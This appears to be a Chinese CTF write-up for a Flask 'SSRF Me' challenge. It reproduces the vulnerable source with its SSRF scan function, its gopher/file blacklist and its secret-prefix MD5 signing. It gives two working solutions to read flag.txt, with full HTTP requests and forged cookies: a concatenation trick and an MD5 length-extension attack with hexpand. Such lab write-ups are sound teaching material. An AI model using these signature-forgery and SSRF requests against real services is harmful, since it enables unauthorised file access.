先把题目给的代码格式化一下:

  1. #! /usr/bin/env python
  2. #encoding=utf-8
  3. from flask import Flask
  4. from flask import request
  5. import socket
  6. import hashlib
  7. import urllib
  8. import sys
  9. import os
  10. import json
  11. reload(sys)
  12. sys.setdefaultencoding('latin1')
  13. app = Flask(__name__)
  14. secert_key = os.urandom(16)
  15. class Task:
  16. def __init__(self, action, param, sign, ip):
  17. self.action = action
  18. self.param = param
  19. self.sign = sign
  20. self.sandbox = md5(ip)
  21. if(not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
  22. os.mkdir(self.sandbox)
  23. def Exec(self):
  24. result = {}
  25. result['code'] = 500
  26. if (self.checkSign()):
  27. if "scan" in self.action:
  28. tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
  29. resp = scan(self.param)
  30. if (resp == "Connection Timeout"):
  31. result['data'] = resp
  32. else:
  33. print resp
  34. tmpfile.write(resp)
  35. tmpfile.close()
  36. result['code'] = 200
  37. if "read" in self.action:
  38. f = open("./%s/result.txt" % self.sandbox, 'r')
  39. result['code'] = 200
  40. result['data'] = f.read()
  41. if result['code'] == 500:
  42. result['data'] = "Action Error"
  43. else:
  44. result['code'] = 500
  45. result['msg'] = "Sign Error"
  46. return result
  47. def checkSign(self):
  48. if (getSign(self.action, self.param) == self.sign):
  49. return True
  50. else:
  51. return False
  52. #generate Sign For Action Scan.
  53. @app.route("/geneSign", methods=['GET', 'POST'])
  54. def geneSign():
  55. param = urllib.unquote(request.args.get("param", ""))
  56. action = "scan"
  57. return getSign(action, param)
  58. @app.route('/De1ta', methods=['GET', 'POST'])
  59. def challenge():
  60. action = urllib.unquote(request.cookies.get("action"))
  61. param = urllib.unquote(request.args.get("param", ""))
  62. sign = urllib.unquote(request.cookies.get("sign"))
  63. ip = request.remote_addr
  64. if(waf(param)):
  65. return "No Hacker!!!!"
  66. task = Task(action, param, sign, ip)
  67. return json.dumps(task.Exec())
  68. @app.route('/')
  69. def index():
  70. return open("code.txt", "r").read()
  71. def scan(param):
  72. socket.setdefaulttimeout(1)
  73. try:
  74. return urllib.urlopen(param).read()[:50]
  75. except:
  76. return "Connection Timeout"
  77. def getSign(action, param):
  78. return hashlib.md5(secert_key + param + action).hexdigest()
  79. def md5(content):
  80. return hashlib.md5(content).hexdigest()
  81. def waf(param):
  82. check = param.strip().lower()
  83. if check.startswith("gopher") or check.startswith("file"):
  84. return True
  85. else:
  86. return False
  87. if __name__ == '__main__':
  88. app.debug = False
  89. app.run(host='0.0.0.0', port=80)

梳理下流程:

  1. 首先网页从cookie和url中分别获得action、sign和param

    1. action = urllib.unquote(request.cookies.get("action"))
    2. param = urllib.unquote(request.args.get("param", ""))
    3. sign = urllib.unquote(request.cookies.get("sign"))
  2. 过滤掉gopher协议和file协议

    1. def waf(param):
    2. check = param.strip().lower()
    3. if check.startswith("gopher") or check.startswith("file"):
    4. return True
    5. else:
    6. return False
  3. 实例化Task类,将action、param、sign等参数传入进行初始化,接着执行调用exec函数,执行scan或read

    1. task = Task(action, param, sign, ip)
    2. task.Exec()
  4. Exec中首先进行checkSign,根据action和param计算出sign,并和Cookie中的sign进行对比,相同则返回True

    1. hashlib.md5(secert_key + param + action).hexdigest() == self.sign
  5. 过了checkSign后,根据传入的action,决定是scan还是read。

scan可以将想要读取的文件内容写入到results.txt中,read则可以读取results.txt的内容并返回。

  1. if "scan" in self.action:
  2. tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
  3. resp = scan(self.param)
  4. if (resp == "Connection Timeout"):
  5. result['data'] = resp
  6. else:
  7. print resp
  8. tmpfile.write(resp)
  9. tmpfile.close()
  10. result['code'] = 200
  11. if "read" in self.action:
  12. f = open("./%s/result.txt" % self.sandbox, 'r')
  13. result['code'] = 200
  14. result['data'] = f.read()
  1. 那么首先如果要读取flag.txt,肯定是要先使用scan,那么就需要满足以下两个条件:
    1. md5(secert_key + flag.txt + scan)==cookie.sign
    2. “scan” in param

而sign的获得程序提供了一个geneSign的页面,可以返回对应的sign,不过强制将action设置为scan。
那么就先尝试读取flag.txt:

  1. 首先生成sign
  2. GET /geneSign?param=flag.txt HTTP/1.1
  3. Cookie: action=scan;
  4. 返回:
  5. 8fadd80c1669c2b127b3e0b142328ae7
  6. 接着去读取flag.txt
  7. GET /De1ta?param=flag.txt HTTP/1.1
  8. Cookie: action=scan;sign=8fadd80c1669c2b127b3e0b142328ae7
  9. 返回:
  10. {"code": 200}

这样flag.txt的内容就存在results.txt里面了,下一步就是想办法调用read。

  1. 要使用read,也和scan一样需要两个条件:
    1. md5(secert_key + flag.txt + read)==cookie.sign
    2. “read” in param

secert_key的值我们不知道,geneSign因为强制action为scan,也无法获取read的sign。

解1-字符串拼接:

可以注意到,getSign中计算MD5是通过字符串拼接的方式,虽然geneSign中action无法控制,但param是可以控制的。那么只需要将param设置为flag.txtread,MD5中计算的字符串就变成:secert_keyflag.txtreadscan,这样得到sign后,action的值可以设置为readscan,从而使getSign和geneSign计算出来的sign相同。

  1. def geneSign():
  2. param = "flag.txtread"
  3. action = "scan"
  4. return hashlib.md5(secert_key + "flag.txtread" + "scan").hexdigest()
  5. # secert_keyflag.txtreadscan
  6. def getSign(action, param):
  7. return hashlib.md5(secert_key + "flag.txt" + "readscan").hexdigest()
  8. # secert_keyflag.txtreadscan
  1. GET /De1ta?param=flag.txt HTTP/1.1
  2. Cookie: action=readscan;sign=4e5e1c8941d4223230e96b74f98e11a1
  3. 返回:
  4. {"code": 200, "data": "flag{0019ffdb-e50f-4982-93b9-72076746bf48}\n"}

解2-MD5扩展攻击:

具体原理看不懂,放一个连接:https://xz.aliyun.com/t/2563
通过工具hexpand来拿到flag:

  1. ./hexpand -t md5 -s 8fadd80c1669c2b127b3e0b142328ae7 -l 28 -m "read"
  2. Append (hex): 80000000000000000000000000000000000000000000000000000000e00000000000000072656164
  3. Signature: 6d00745ca7d27d6d012e21f7fd878977

将append的值和signature的值传入即可。

  1. GET /De1ta?param=flag.txt HTTP/1.1
  2. Host: 15b69d78-edf7-4146-8e81-507dcb285268.node3.buuoj.cn
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=6d00745ca7d27d6d012e21f7fd878977
  10. Connection: close